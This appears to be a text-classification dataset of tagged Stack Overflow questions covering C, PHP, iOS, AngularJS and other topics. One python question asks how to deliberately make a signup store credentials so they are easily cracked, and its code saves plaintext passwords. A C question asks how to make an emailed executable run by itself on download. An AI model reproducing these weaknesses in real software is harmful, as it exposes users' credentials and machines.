with this,mysql
how to return the index of ascii char in c  so you have  table mapping the 26 ascii characters from the english alphabet to their corresponding morse code strings   <pre><code>typedef struct a_look_tab {     char table[asciinum][morse_max+1];   } alooktab; </code></pre>   and asciinum is the 0 for a  1 for b  and so on. how to return an index (int) that is the index of the morse char.    so what we are doing after converting a char into a number is to param ascii the ascii character to convert and return the index for the given ascii character  how do we do that,c
how to find out if csv file fields are tab delimited or comma delimited  how to find out if csv file fields are tab delimited or comma delimited. i need php validation for this. can anyone plz help. thanks in advance.,php
python variable memory management  i just wrote this primitive script:    <pre><code>from sys import getsizeof as g x = 0 s =    while s !=  q :     x = (x &lt;&lt; 8) + 0xff     print(str(x) +      [  + str(g(x)) +  ] )     s = input( enter to proceed   q  to quit   ) </code></pre>   the output is as follows - and quite surprising  as i perceive it:    <pre><code>255                    [28] 65535                  [28] 16777215               [28] 4294967295             [32] 1099511627775          [32] 281474976710655        [32] 72057594037927935      [32] 18446744073709551615   [36] </code></pre>   and so on. my point is: it seems that the variable x has some sort of  overhead  with a size of 25 bytes.  where does this come from   thanks in advance for any attempt to help me.,python
what is the android play services sdk level   i am trying to do something with the <a href= https://developers.google.com/vision/  rel= nofollow >android face api</a>  but my phone does not detect faces on a simple example.    in pre-requisites  i found that it needs:   android play services sdk level 26 or greater   but the api number  26  does not exist  so what is <strong> android play services sdk level 26 </strong>,android
iphone uitableview shows one cached view in it s uitablecellview  the last one added!  i have an object that return a cached image view (uiimageview)  which do the loading  showing the loading image  and then populate the view with the loaded image.    in my case  the tableview shows multiple rows  where the same user photo might appears more than once  and i noticed that because it is cached  it shown in the last cell it is been added to. i ve tried to construct the uiimageview each time the table ask for a cell  it works  so the problem is with the cached image view!  but i don t know why! hints,iphone
sorting an array by its members  dictionary s keys  if that was a little confusing here s a visual representation:    array > object > dictionary > values    here s some context if this helps:    an array contain playlists.  each playlist has a dictionary.  each dictionary contains metadata.    i need to sort the original dictionary by this metadata.    i ve been pretty stumped at implementing this.  thoughts     <strong>[edit]</strong> changed the higher dictionary into an array,objective-c
vide capture in python for accessing device  i am using python 2.7 video capture package.it gives following error when i try to instantiate the device. error: capture graph could not be created.here is my code. i am using windows7.   <pre><code>from videocapture import device cam = device(devnum=0  showvideowindow=0) //gets error at this line cam.savesnapshot() </code></pre>   this module works fine if i use another companys video capture device  but it does not work with diamond hd 1800 video capture device. can anyone help me. is there any other win32 package for accessing device in python or any other workaround.   <pre><code>traceback (most recent call last): &gt;&gt; file  c:\documents and settings\saml  mad\desktop\videocapture-0.9\tools\webcam-uploader\webcam-uploader.py   line 130  in   &gt;&gt; cam = videocapture.device(devnum=devnum)  file  c:\python23\lib\videocapture.py   line 49  in init  self.dev = vidcap.new_dev(devnum  showvideowindow)  error: capture graph could not be created. </code></pre>,python
croatian language text is not appearing on browser  i have written some croatian language in my page.but when i m seeing result some unsupported text is not coming on browser.this is replacing     there.what i have to do,php
what s the difference between @interface or @implementation being in .h or .c  i m playing around with some code in a kobold2d example project (orthogonal tile based game) and i ve noticed:   <pre><code>@interface tilemaplayer : cclayer //map {     float tilemapheightinpixels; //depricated@interface tilemaplayer()   } @end </code></pre>   in the tilemaplayer.h file  and:   <pre><code>@interface tilemaplayer() @property (strong) hudlayer *hud; @property (strong) cctmxtiledmap *tilemap; @property (strong) cctmxlayer *background; @property (strong) cctmxlayer *foreground; @property (strong) cctmxlayer *meta; @property (strong) cctmxlayer *base; @property (strong) ccsprite *player; @property (strong) ccsprite *playerturret; @property (assign) int money; @end </code></pre>   in the tilemaplay.m file.    i ve always thought that <code>.h</code> files hold interfaces and <code>.m</code> files store implementations    can someone please explain their purpose (started from the basics  i m still learning objective c) and what the difference in purpose between the 2 examples above,objective-c
need 2 pixel solid color gap between boxes  i need to add a two pixel gap with a solid color between the services boxes below ie location contact etc can you please tell me how i have tried padding-right:2px and changing background color but that did not work its pulling my hair out thanks    <a href= http://indigo.websitewelcome.com/~memorialpodiatry/  rel= nofollow >http://indigo.websitewelcome.com/~memorialpodiatry/</a>    i have tried the following code to add the border to the right of the divs and it works ok but obviouslly i do not want the border on the last div.   <pre><code>.moduletable-blocks { width: 340px; float: left; margin: 0 7px 0 0;   padding: 0 0 17px; border-right:2px solid #f2d8b5  }    .moduletable-blocks .last { border-right:none; } </code></pre>   as you see i was using the last selection to try and set border to none any ideas.,css
how to redirect back to app in url scheme with xcode 6.0.1  i am working on a app in which there is a registration field. when registration is done successfully i get a confirmation mail. when i confirm the link then i want to navigate back to my app using url schemes. how can i achieve this.    thanks.,ios
injecting logic via controller to controller angularjs  i have 2 separate controllers (no relation) and one service shared between the two. in controllera  i have ng-click attribute on an element that is repeated  it is sending a true/false value to a function within the shared service.    when this function receives a call i want to increment or decrement an integer in controllerb based on the bit.    controllerb s integer should have no dependency on controllera  it receives an count from its own api currently this value is set to the ng-model attribute.    the controllers already share the service. i am unsure how to  inject  to controller b  and alter the value of ng-model.    also is the architecture incorrect   since at some point controllers interact should i force a parent child relationship  it is only going to be for a handful of scenarios this will need to happen.,angularjs
what is the most compressed animated image type html can display   i ve been working with the cordova framework the last few days and actually created something i m very proud of  however the application size is sitting at 15mb. i know that s not all that much  but when over half of it is coming from a single .gif file  that s bothersome.     the background for my applications login screen is 10.3mb in .gif format.     i m wondering if html supports any other formats that can be compressed more  without losing quality. that.. does not require a video player.,html
how to bypass a space when adding something to my path in windows   i have been trying to add python3 to my path and it s there but i think i am having an issue with the path. it is in program files which has a space in it and i feel like that is causing problems and i have been on the internet for a while trying to find a way to bypass the space in program files but have not found anything. i have followed the directions correctly to add it to my path so this is what i think is messing things up.,python
sample code showing how to add gradient color to iphone app  does anybody know a sample application which helps and show how to add a gradient color to an iphone application.,iphone
how to update column name after finding the table names from information schema  i have run a script to find the table names with a specific column name from a database using the information schema here is the query   <pre><code>  use ims_scms_digital_power    select * from information_schema.columns   where column_name like  company_id%  </code></pre>   after finding the table names now i would like to update the specific column values of all the database. need solutions.,sql
set readonly property from collection class  it is little hard to explain what i want  but basically  i want to set a readonly property from a collection class. i know it is not that simple.   <pre><code>public class listitemcollection : collectionbase {       // other code        public void add(listitem item) {             item.index = list.count;  // want to set index             list.add(item);       } } </code></pre>   i don t want other class from listitemcollection to change the value of that property.   <pre><code>public class form1 : form {      private void form_load(....) {           listitem item = new listitem;           item.index = 5; // i don t want people to set it.      }  } </code></pre>   i know that it is possible somehow because <code>listviewitem</code> manage to do it.,c#
how can i use data in an ng-if   i m trying to use data in a repeat to select an item in another array.   <pre><code>&lt;ion-item ng-repeat= event in eventdates  ng-if= eventtoggles.{{event.eventname}} &gt; </code></pre>   is this possible  what s the proper syntax,angularjs
exit with code 15  what does it mean when your app exits with code 15     how can it be fixed     thanks,iphone
math.atan gives an error in java programming  i am using haversine formula in java programming (using eclipse).  my problem is at the end of the equation where i get an error (atan is underlined) saying that  the method atan(double) is undefined for the type math .     i dont know what is the problem. does anyone have an idea      <pre><code>    double angle = 45;     double arctan = math.atan(angle); </code></pre>,java
output  prime factorization  so i have this program and need it to write the output as  96 is 2^5 x 3^1  instead of 2x2x2x2x2x3.   <pre><code>    int main() {          int i  n;          // get the user input.         printf( please enter a number.\n );         scanf( %d   &amp;n);          // print header.         printf( the prime factorization of %d is    n);          // loop through  finding prime factors.         int cur_factor = 2;         while (cur_factor &lt; n) {              // found a factor.             if (n%cur_factor == 0) {                 printf( %d x    cur_factor);                 n = n/cur_factor;              }              // going to the next possible factor.             else                 cur_factor++;         }          // prints last factor.         printf( %d.\n   cur_factor);          return 0; </code></pre>   what do i need to do  thanks,c
zipping files and downloading them using saveas dialog  i have the following code to zip all the files and then save it to the harddisk. i want zip all the files (this is done) and then attach the zip file to the response stream so that the user have the option to save it!    <pre><code>protected void downloadselectedfiles_click(object sender  eventargs e)         {             string path = string.empty;             string zipfilepath = @ c:\myzipfile.zip ;              zipoutputstream zipstream = new zipoutputstream(file.create(zipfilepath));             byte[] buffer = new byte[4096];              foreach (gridviewrow row in gvfiles.rows)             {                 bool isselected = (row.findcontrol( chkselect ) as checkbox).checked;                  if (isselected)                 {                     path = (row.findcontrol( lblurl ) as label).text;                      zipentry entry = new zipentry(path.getfilename(path));                     entry.datetime = datetime.now;                      zipstream.putnextentry(entry);                      using (filestream fs = file.openread(path))                     {                         int sourcebytes;                         do                         {                             sourcebytes = fs.read(buffer  0  buffer.length);                             zipstream.write(buffer  0  sourcebytes);                         } while (sourcebytes &gt; 0);                     }                 }             }               zipstream.finish();             zipstream.close();              response.contenttype =  application/x-zip-compressed ;             response.appendheader( content-disposition    attachment; filename=ss.zip );             response.writefile(zipfilepath);             response.end();          } </code></pre>,asp.net
why is scanf stuck inside a while loop   i used a scanf() inside a while loop.   <pre><code>while(1) {     int input = 0;     scanf( %d\n   &amp;input);     printf( %d\n   input); } </code></pre>   when i run this program  and i enter a number  the <code>printf()</code> is not displaying that number unless i enter another number again.  why,c
angular - store login info for current user  i am building an angular application  and i have home page where the user will see  i want to display on the right side of the page a button saying: login. if the user is not yet logged in  i want this exact button to have a list of  account settings  and  logout  if the user is already logged in.     i am using routing in my app  so when the user lands on the home page  i don t load any controller (yet). i am loading controller based on the $state in the app configuration to load controller for each view.     where do i store user s login state in order to change the buttons to say login or logout  do i need to make a controller for the homepage  i am lost here and any help will be appreciated.,angularjs
is setting input tag s checked attribute preferable to simply marking as checked   i have seen folks mark an html checkbox as checked by writing the following:   <pre><code>&lt;input type= checkbox  checked/&gt; </code></pre>   is it preferable to instead write the following:   <pre><code>&lt;input type= checkbox  checked= checked /&gt; </code></pre>   if so  why,html
autofill table with data from another table  so this may be a little confusing  i have two csv s that are entered into two different tables. one goes into the <code>event</code> table. and the other goes into the <code>via</code> table.    now  the first one populates the name date and time of the event. this exists in the <code>event</code> table.     now the second one has the date and time in the same cell (the name is kinda the same.)    now i want to have the column in the <code>event</code> table to be populated with the link that exists in the <code>via</code> table.     how do i go about doing this     the rake task i have to populate the first table is here (i m guessing it d be in the same rake task )   <pre><code>require  open-uri  require  csv  namespace :event do    task reload: :environment do        gzipped = open(  )        csv_text = zlib::gzipreader.new(gzipped).read        csv = csv.parse(csv_text  :headers=&gt;true)        csv.each do |row|          event.find_or_create_by(time: row[9]  date: row[10]  eventname: row[7])         end    end end </code></pre>,ruby-on-rails
c# system.notsupportedexception when reading a byte from string  i was wondering if anyone can help me on this one  i ve search the whole internet and i can t seem to find any solution  i want to read byte from a txt file  at first i use string array to get the files that end with <code>.txt</code>  follow by converting string array to string and use the string to read all bytes and place it in byte array. but when i run the program it come out an exception stating <code>system.notsupportedexception</code>. can anyone help  thanks in advanced.   <pre><code> string[] filearray = directory.getfiles(@ c:\users\desktop\feature    *.txt );         string file = convertstringarraytostring(filearray); byte[] pfeaturelib = file.readallbytes(file); // error occur here     public string convertstringarraytostring(string[] array)   {         // concatenate all the elements into a stringbuilder.         stringbuilder builder = new stringbuilder();         foreach (string value in array)         {             builder.append(value);             builder.append( . );         }         return builder.tostring();   } </code></pre>,c#
parenthesis affecting the output in  c   the program is for calculating summation of series 1/1! + 2/2! + ..... until the number given as input.    here is the code i wrote.     /*i have used 5 variables and nested loops. i don t even know whether this is good way to write a program */     question: when i just put parenthesis as shown (below complete code) the output is different  why is this happening    <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; int main () {     int a i n;     float sum=0 prod;     printf ( enter the number\n );     scanf ( %d  &amp;a);     for (i=1;i&lt;=a;i++)     {            for (n=1;n&lt;=i;n++)         {                for (prod=1;n&lt;=i;n++)                 prod = prod * 1/n;         }         sum = sum + prod*i;     }     printf ( sum = %f\n   sum);     getch();     return 0; } </code></pre>   with parenthesis   <pre><code>prod = prod * (1/n); </code></pre>   please help me with this and thanks in advance.,c
getting white flash animation effect upon clicking play and pause buttons  i have a single button toggling between play and pause for audio playback. when i was using the standard play/pause buttons (e.g.  initwithbarbuttonsystemitem:uibarbuttonsystemitemplay)  i got a nice white flash animation effect over the buttons as they toggled back and forth. but now that i am using custom images  i no longer get that effect. how can i get it back     also would very much appreciate any tips to simplify this as it seems heavyweight. i saw <a href= https://stackoverflow.com/a/9104587/1462372 >https://stackoverflow.com/a/9104587/1462372</a> but am not clear whether that is applicable in this case (in button bar).    here is the code:   <pre><code>- (void) setasplaying:(bool)isplaying {     self.rootviewcontroller.playing = isplaying;      // we need to change which of play/pause buttons are showing  if the one to     // reverse current action isn t showing     if ((isplaying &amp;&amp; !self.pausebutton) || (!isplaying &amp;&amp; !self.playbutton))     {         uibarbuttonitem *buttontoremove = nil;         uibarbuttonitem *buttontoadd = nil;         if (isplaying)         {             buttontoremove = self.playbutton;             self.playbutton = nil;              uiimage *pausebuttonimage = [uiimage imagenamed:@ icon_pause.png ];             uibutton *pausebutton = [uibutton buttonwithtype:uibuttontypecustom];             [pausebutton addtarget:self action:@selector(pauseaudio:) forcontrolevents:uicontroleventtouchupinside];             pausebutton.bounds = cgrectmake(0  0  pausebuttonimage.size.width  pausebuttonimage.size.height);             [pausebutton setimage:pausebuttonimage forstate:uicontrolstatenormal];             self.pausebutton = [[uibarbuttonitem alloc] initwithcustomview:pausebutton];             buttontoadd = self.pausebutton;         }         else         {             buttontoremove = self.pausebutton;             self.pausebutton = nil;  // this was the way i was doing it before: //            self.playbutton = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem:uibarbuttonsystemitemplay target:self action:@selector(playaudio:)];              uiimage *playbuttonimage = [uiimage imagenamed:@ icon_play.png ];             uibutton *playbutton = [uibutton buttonwithtype:uibuttontypecustom];             [playbutton addtarget:self action:@selector(playaudio:) forcontrolevents:uicontroleventtouchupinside];             playbutton.bounds = cgrectmake(0  0  playbuttonimage.size.width  playbuttonimage.size.height);             [playbutton setimage:playbuttonimage forstate:uicontrolstatenormal];             self.playbutton = [[uibarbuttonitem alloc] initwithcustomview:playbutton];             buttontoadd = self.playbutton;         }          // get the reference to the current toolbar buttons         nsmutablearray *toolbarbuttons = [[self.toolbar items] mutablecopy];          // remove a button from the toolbar and add the other one         if (buttontoremove)             [toolbarbuttons removeobject:buttontoremove];         if (![toolbarbuttons containsobject:buttontoadd])             [toolbarbuttons insertobject:buttontoadd atindex:5];          [self.toolbar setitems:toolbarbuttons];     } } </code></pre>,ios
sorting css properties into an arbitrary order   i would like to programmatically sort all declarations/properties (not the declaration blocks themselves  but the individual declarations inside each block) in a style sheet into an arbitrary order.    i have been able to find several methods online for sorting declarations alphabetically  or reverse alphabetically  or even by string length  but this is unhelpful for me because those sorting methods are essentially meaningless. instead  i would like to sort according to the way i personally think of css rules  which places structural declarations first  followed by text declarations  followed by background declarations  and so on.    as an example  in case that s not clear  suppose i have a style sheet that contains the following:   <pre><code>#someid {     font-size: 200%;     background-color: #000000;     color: #ffffff;     padding: 4px 8px; } </code></pre>   i would like to be able to sort this into something like:   <pre><code>#someid {     padding: 4px 8px;     color: #ffffff;     font-size: 200%;     background-color: #000000; } </code></pre>   does anyone know of a tool that would allow me to create sort of a template that defines the exact order i want the properties to be in  and then apply it to achieve something like the above  or would this be easy to do via  say  a textmate bundle     hope this isn t a ridiculous question. :) cheers!,css
\n separated search in column  i have a district table  in which we store user’s preferred districts in district table district_id (varchar(250)) field(column). value stored in this field is like  1 2 5 6 1 by using \n. so please tell me  how can i search in this specific column,mysql
jscript help  what is the main purpose of  this javascript code   what is the main purpose of the following javascript code    <pre><code>&lt;script&gt;  var qunarutil=new function(){var prefix= /scripts/ ;var suffix=  ;var host=  ;if(location.host.indexof( src. )!=-1){prefix= /scripts/src/ ;host= http://hstatic.qunar.com ;suffix= .js ;}else if(location.host.indexof( enc. )!=-1){prefix= /scripts/ ;host= http://hstatic.qunar.com ;suffix= .js ;}else if(location.host.substring(0 10)== sdev- ){prefix=location.host.substring(5 location.host.indexof( . ));prefix= / +prefix.replace(/\-/ig  / );host= http://hstatic.qunar.com ;suffix= .js ;}else if(location.host.indexof( h.qunar.com )!=-1){host= http://hstatic.qunar.com ;suffix=  ;} this.getscripturl=function(name islist){if(name.charat(0)!= / ) return this.getscript(prefix+name islist);else return this.getscript(name islist);} this.getscript=function(src islist){return &lt; + script type= text/javascript  src=  +host+src+(islist suffix: .js )+   +__qunarver__+  &gt;&lt;/ + script&gt; ;} this.writescript=function(name islist){document.write(this.getscripturl(name islist));} this.writescriptlist=function(list){for(var i=0;i&lt;list.length;i++) document.write(this.getscripturl(list[i]));} var cssroot= /styles/ ;this.writecss=function(csslist){for(var i=0;i&lt;csslist.length;i++){document.write( &lt;link rel= stylesheet  href=  +cssroot+csslist[i]+   +__qunarver__+  &gt; );}} this.writestaticscript=function(src){document.write( &lt;scr + ipt type= text/javascript  src=  +src+  &gt;&lt;/ + scr + ipt&gt; );} this.writestaticlist=function(src){document.write( &lt;scr + ipt type= text/javascript  src=  +src+suffix+   +__qunarver__+  &gt;&lt;/ + scr + ipt&gt; );}} $include=function(){for(var i=0;i&lt;arguments.length;i++){qunarutil.writescript(arguments[i] true);}} &lt;/script&gt; </code></pre>  <hr>   uncompressed version:   <pre><code>&lt;script&gt;     var qunarutil = new     function() {         var prefix =  /scripts/ ;         var suffix =   ;         var host =   ;         if (location.host.indexof( src. ) != -1) {             prefix =  /scripts/src/ ;             host =  http://hstatic.qunar.com ;             suffix =  .js ;         } else if (location.host.indexof( enc. ) != -1) {             prefix =  /scripts/ ;             host =  http://hstatic.qunar.com ;             suffix =  .js ;         } else if (location.host.substring(0  10) ==  sdev- ) {             prefix = location.host.substring(5  location.host.indexof( . ));             prefix =  /  + prefix.replace(/\-/ig   / );             host =  http://hstatic.qunar.com ;             suffix =  .js ;         } else if (location.host.indexof( h.qunar.com ) != -1) {             host =  http://hstatic.qunar.com ;             suffix =   ;         }         this.getscripturl = function(name  islist) {             if (name.charat(0) !=  / ) return this.getscript(prefix + name  islist);             else             return this.getscript(name  islist);         }         this.getscript = function(src  islist) {             return  &lt;  +  script type= text/javascript  src=   + host + src + (islist   suffix :  .js ) +     + __qunarver__ +   &gt;&lt;/  +  script&gt; ;         }         this.writescript = function(name  islist) {             document.write(this.getscripturl(name  islist));         }         this.writescriptlist = function(list) {             for (var i = 0; i &lt; list.length; i++)             document.write(this.getscripturl(list[i]));         }         var cssroot =  /styles/ ;         this.writecss = function(csslist) {             for (var i = 0; i &lt; csslist.length; i++) {                 document.write( &lt;link rel= stylesheet  href=   + cssroot + csslist[i] +     + __qunarver__ +   &gt; );             }         }         this.writestaticscript = function(src) {             document.write( &lt;scr  +  ipt type= text/javascript  src=   + src +   &gt;&lt;/  +  scr  +  ipt&gt; );         }         this.writestaticlist = function(src) {             document.write( &lt;scr  +  ipt type= text/javascript  src=   + src + suffix +     + __qunarver__ +   &gt;&lt;/  +  scr  +  ipt&gt; );         }     }     $include = function() {         for (var i = 0; i &lt; arguments.length; i++) {             qunarutil.writescript(arguments[i]  true);         }     } &lt;/script&gt; </code></pre>,javascript
how can i implement vulnerabilities in my code using python   i need to implement the vulnerabilities in my code at the time of user sign up using python. the vulnerabilities is about <code>insufficiently protected credentials</code> means at the time is sign in credentials can easily cracked by any attacker. i am explaining my code below.   <pre><code>name = request.post.get( uname ) password = request.post.get( pass ) con_pass = request.post.get( conpass ) if passw == con_pass:     passw = user(             uname=name               assword=password            )    passw.save()    message =  registered successfully     return render(request   bookingservice/login.html   { msg : message}) </code></pre>   here is my code for sign up. here i need to implement the vulnerabilities so that anyone easily crack the credentials.,python
creating a derived object from an existing base object in .net  dumb question.    lets say i have a bunch of person objects with their fields all filled in with data and i have an employee type that derives from the person class and has extra fields related to being an employee.  how do i get a employee object for a particular existing person object   i.e. how do i pass in the person object to the employee,.net
get first 3 digits of nsnumber <pre><code>float distance = 2347293874923; nsnumber * dist = [nsnumber numberwithfloat:distance]; </code></pre>   how to get only first 3 digits of dist in a nsstring.,objective-c
is there a way to use a custom keystore while building an android app using ant on debug mode   i have an android app which needs to be signed using a specific keystore for it to be able to communicate with another app. i see that i can put the keystore file in a specific location for eclipse to use it. i don t find any documentation on how to configure the keystore in build.xml for ant builds though.,android
pixels within a specific portion of screen android  is it possible to calculate number of pixels in a specific portion of screen    say i draw a circle and want to calculate no. of pixels inside the circle!,android
google autocomplete place search box not working in angularjs  google autocomplete place search box shows  oops   something went wrong.  .my code here`   <pre><code>routerapp.directive( googleplace   function(){  return {           require:  ngmodel             link: function(scope  element  attrs  model){           var options = {                            types: []                             componentrestrictions: {}                          };  scope.gplace = new google.maps.places.autocomplete(element[0]  options);  google.maps.event.addlistener(scope.gplace   place_changed   function(e) {     scope.$apply(function() {       model.$setviewvalue(element.val());       var countrycode =  na ;       scope.secondplacebox = scope.chosenplace;        for(var i = 0; i &lt; scope.gplace.getplace().address_components.length; i++)       {            if(scope.gplace.getplace().address_components[i].types[0] ==  country )          {            countrycode = scope.gplace.getplace().address_components[i].short_name;           }       }        var latitude = scope.gplace.getplace().geometry.location.lat().tofixed(6);       var longitude = scope.gplace.getplace().geometry.location.lng().tofixed(6);       scope.fn_searchfood(latitude longitude scope.date countrycode);                        });      });     }   }; }); </code></pre>   and i am using   <pre><code> &lt;script type= text/javascript  src= http://maps.google.com/maps/api/js libraries=places&amp;key=api_key &gt;&lt;/script&gt; </code></pre>   please show me an example to give project url in the google api console. please help thanks in advance.,angularjs
what is object html collection in javascript  if i try to get <code>var allptags = document.getelementsbytagname( p );</code> and there is no p tag at all in the document the variable is still not empty there is still something. if i do <code>if(allptags !==   ) { alert(something);}</code> it dose not alert; how do i compare empty value in it,javascript
adding images and changing text colors in visual studio in c  so what i want to do is to have an actual image display (say like a jpeg) instead of those <code>printf()</code> lines to shorten up the code and have the pictures displayed in the output  and i would also like to know how to change the color of the text in the output so each picture can have a different color text message displayed with it. i m using visual studio 2012 and 2013.   <pre><code>#include  stdafx.h  #include  stdio.h   int main(void) {     int var = 0;     printf( enter 1 or 2 or 3 to see the pictures in me:  );     scanf_s( %i   &amp;var);     while (var &gt; 0)     {         if (var == 1)         {             printf(   _____\n );             printf(   |   |\n );             printf(       |\n );             printf(       |\n );             printf(       |\n );             printf(       |\n );             printf( ______|__\n );             printf( wana see more   );             scanf_s( %i   &amp;var);         }         else if (var == 2)         {             printf( be glad you didn t pick 1\n );             printf(             (0_0)           \n );             printf( ^^kirby is staring you down^^\n );             printf( hope you didnt piss him off!\n );             printf( wana see more   );             scanf_s( %i   &amp;var);         }         else if (var == 3)         {             printf( so you decided to pick the safe route and not see either of the other two \n );             printf( but i will still force you to look!\n );             printf(   _____\n );             printf(   |   |\n );             printf(       |\n );             printf(       |\n );             printf(       |\n );             printf(       |\n );             printf( ______|__\n );             printf( this is the end thank you for looking!\n );             break;         }     }     getchar();     return 0; } </code></pre>,c
auto startup an executable application when downloaded from an email  i am building an application with c language for my final project  i am sending the executable application via email  when the application is downloaded it should run itself.,c
how garbage collector work in .net   i want to know core concept of garbage collector   generally people learnt a lot stuff from internet but i am not satisfied how actually garbage collector work internally.    can anyone describe it. through memory terms  like how processor allocate separate memory to garbage collector and after than what is the life cycle of garbage collector,.net
how i realize master page in rails just as in .net  so i am a beginner i know there is <code>layout</code> in rails .    but i want a shared part that many pages will use include all of the <code>mvc</code> other than just <code>v</code> .just like the master page in .net webform.    for example .every site will own may manage pages and this pages will use a common left sidebar which is consists of a few menus.    how can i realize this,ruby-on-rails
how to find the control  <pre><code>&lt;asp:loginview id= loginview4  runat= server &gt;       &lt;anonymoustemplate&gt;        &lt;asp:dropshadowextender id= dropshadowextender3  runat= server                                   targetcontrolid= panel3                                   opacity= .38                                   rounded= true &gt;               &lt;/asp:dropshadowextender&gt;               &lt;asp:panel id= panel3  runat= server                                        backcolor= silver  width= 400px &gt;                &lt;asp:createuserwizard id= createuserwizard1                                       runat= server                                       continuedestinationpageurl= ~/viewcart_aspx/viewcart.aspx                         oncreateduser= createuserwizard1_createduser &gt;                 &lt;wizardsteps&gt;                   &lt;asp:createuserwizardstep id= createuserwizardstep1  runat= server  &gt;                       &lt;contenttemplate&gt;                          &lt;fieldset class= push &gt;                           &lt;table border= 0 &gt;                               &lt;tr&gt;                                   &lt;td align= center  colspan= 2 &gt;                                       &lt;h3 style= text-align:center; &gt;sign up for your new account&lt;/h3&gt;&lt;/td&gt;                               &lt;/tr&gt;                               &lt;tr&gt;                                   &lt;td align= right &gt;                                       &lt;asp:label id= usernamelabel  runat= server  associatedcontrolid= username &gt;user name:&lt;/asp:label&gt;                                   &lt;/td&gt;                                   &lt;td&gt;&amp;nbsp;                                       **&lt;asp:textbox id= username  runat= server  width= 150px &gt;&lt;/asp:textbox&gt;**                                       &lt;asp:requiredfieldvalidator id= usernamerequired  runat= server                                             controltovalidate= username  errormessage= user name is required.                                             tooltip= user name is required.  validationgroup= createuserwizard1 &gt;*&lt;/asp:requiredfieldvalidator&gt;                                   &lt;/td&gt; </code></pre>   i am using this code to find the control   <pre><code>protected sub createuserwizard1_createduser(byval sender as object  byval e as system.eventargs)     dim usernametextbox as textbox = directcast(createuserwizardstep1.contenttemplatecontainer.findcontrol( username )  textbox)     roles.addusertorole(usernametextbox.text   user )  end sub </code></pre>   but it gives me an error    <blockquote>     error 12  name  createuserwizardstep1  is not declared.   </blockquote>,asp.net
mysql queries - check a record  anyone can help me implement this    given that i have a txt file and have successfully parsed them into an array.<br> column headers are id  names  gender. i want to check whether the names are already in the table.    say i have 5 rows of data    <pre>0 | rod | m   1 | dex | m   2 | fay | f   4 | dan | m   5 | lis | f</pre>   currently im looping into the array and using select to check if the item names already exists    is there a way were i can pass all 5 names in a query and it will return records<br> a. those found  the table<br> b. not found in the table    thanks for responding to my question. the in operator will cut my queries to just one trip to the server  then will just loop through the results.,mysql
using #define macros in a simple cout expression  i would like to ask why this code prints out 2 instead of 0. doesn t <code>#define</code>  assign  values to the names of the macros and calculate also the result  how does it give this answer    <pre><code>#include &lt;iostream&gt; using namespace std;  #define a    0 #define b    a+1 #define c    1-b  int main() {     cout &lt;&lt; c&lt;&lt;endl;     return 0; } </code></pre>,c++
programmatically force an ios 7 app to suspend   i am trying to force my app to automatically enter the  suspended  state programmatically  so i can do testing on core bluetooth restoration. i have tried calling   <pre><code>[[uiapplication sharedapplication] performselector:@selector(suspend)]; </code></pre>   but this merely sends it into the background. am i doing it wrong  is there a better way  or is it impossible      i would like to remind everyone exactly what it means to have an app be suspended  as there is always confusion on the terminology: <img src= https://developer.apple.com/library/ios/documentation/iphone/conceptual/iphoneosprogrammingguide/art/high_level_flow_2x.png  alt= link to state diagram of iphone apps > an app in the background will get indefinitely suspended if the system needs memory  but core bluetooth s restoration can send an app back into the background state temporarily.,ios
shift operator and bitwise or  i have four characters as ch1 ch2 ch3 ch4. i am reading a binary file. que- what following code indicates    <pre><code>int getlong(file * httf)  {     int ch1 = getc(httf);     int ch2 = getc(httf);     int ch3 = getc(httf);     int ch4 = getc(httf);   if ( ch4 == eof )   return( eof );   return( (ch1&lt;&lt;24)|(ch2&lt;&lt;16)|(ch3&lt;&lt;8)|ch4 ); } </code></pre>   consider ch1= k  ch2= e  ch3= r  ch4= n ; tell me output and why this is so . i am not understanding output value. que-what is this conversion (ch1&lt;&lt;24)|(ch2&lt;&lt;16)|(ch3&lt;&lt;8)|ch4  what we achive by doing this,c
uitapgesturerecognizer giving invalid values for locationinview:  i have tracked down the problem to be the locationinview: on the uitapgesturerecognizer always giving me cgpoint of (0 -67) in portrait  and (0 268) in landscape. (if i don t cast it as uitapgesturerecognizer  i get (0 180) in landscape occasionally.    this problem does not exist in ios 5 simulator. it happens often in ios 6 simulator and almost 90% of the time in an ios 6 device.    my guess now is that the gesture recognizer is not valid anymore by the time it calls the action method.. but that doesn t make sense as that means we always need to call the locationinview: in the delegate methods..    <em>details:</em>    <em><strong>what i m trying to do:</em></strong> recognize a tap gesture on a mkmapview  covert that point to coordinate and display it as an annotation    <em><strong>what i did:</em></strong> in the action method of the gesture recognizer..   <pre><code>cllocationcoordinate2d coordinate = [self.mapview convertpoint:[(uitapgesturerecognizer *)sender locationinview:self.mapview] tocoordinatefromview:self.mapview]; </code></pre>   i did do introspection to make sure that the sender is indeed an uitapgesturerecognizer..    i also did try return <code>yes</code> for <code>(bool)gesturerecognizer:(uigesturerecognizer *)gesturerecognizer shouldrecognizesimultaneouslywithgesturerecognizer:(uigesturerecognizer *)othergesturerecognizer</code> but that does not help.    <em><strong>what should happen:</em></strong> the coordinate should be corresponding to the point tapped on the map.    <em><strong>what did happen:</em></strong> the coordinate is always slightly far off to the left.    <em>update:</em>    so.. i have tested with all the delegate methods in <code>&lt;uigesturerecognizerdelegate&gt;</code>. both in the action method as above and <code>– gesturerecognizer:shouldreceivetouch:</code> the gesture recognizer gives invalid position (0 -64) for locationinview:. <em>(it was 0 -67 as stated above  but become 0 -64 after i updated xcode to the latest version few minutes ago  lol)</em> however  in <code>– gesturerecognizershouldbegin:</code> and <code>– gesturerecognizer:shouldrecognizesimultaneouslywithgesturerecognizer:</code> it gives the correct cgpoint.    my question is.. is this the intended behavior  or did i mess up something  else it means i need to fire my action in one of the delegate methods  as i do need the correct position of the gesture recognizer. this option doesn t sound very right  though..,ios
do while with two double type variable  i want to make simple program with x and n type double so if a user enter a number that is 4.4 then do-while loop gets out and prints bla bla.<br/> and if user enters a number that is 5.6 then do-while needs to get back and make user to enter a number that is lesser than n.5 <br/> is it even possible to make condition with type double    <pre><code>#include &lt;stdio.h&gt;  int main(){ double x=0.0 n=0.0;      do{          printf( enter n(so it s less than n.5): );          scanf( %lf  &amp;n);          x = n - (int)n;       }while(n&lt;=0.0 &amp;&amp; x&gt;=0.5);       printf( integer part is %d\ndecimal is %.3lf\n  (int)n x);      return 0; } </code></pre>,c
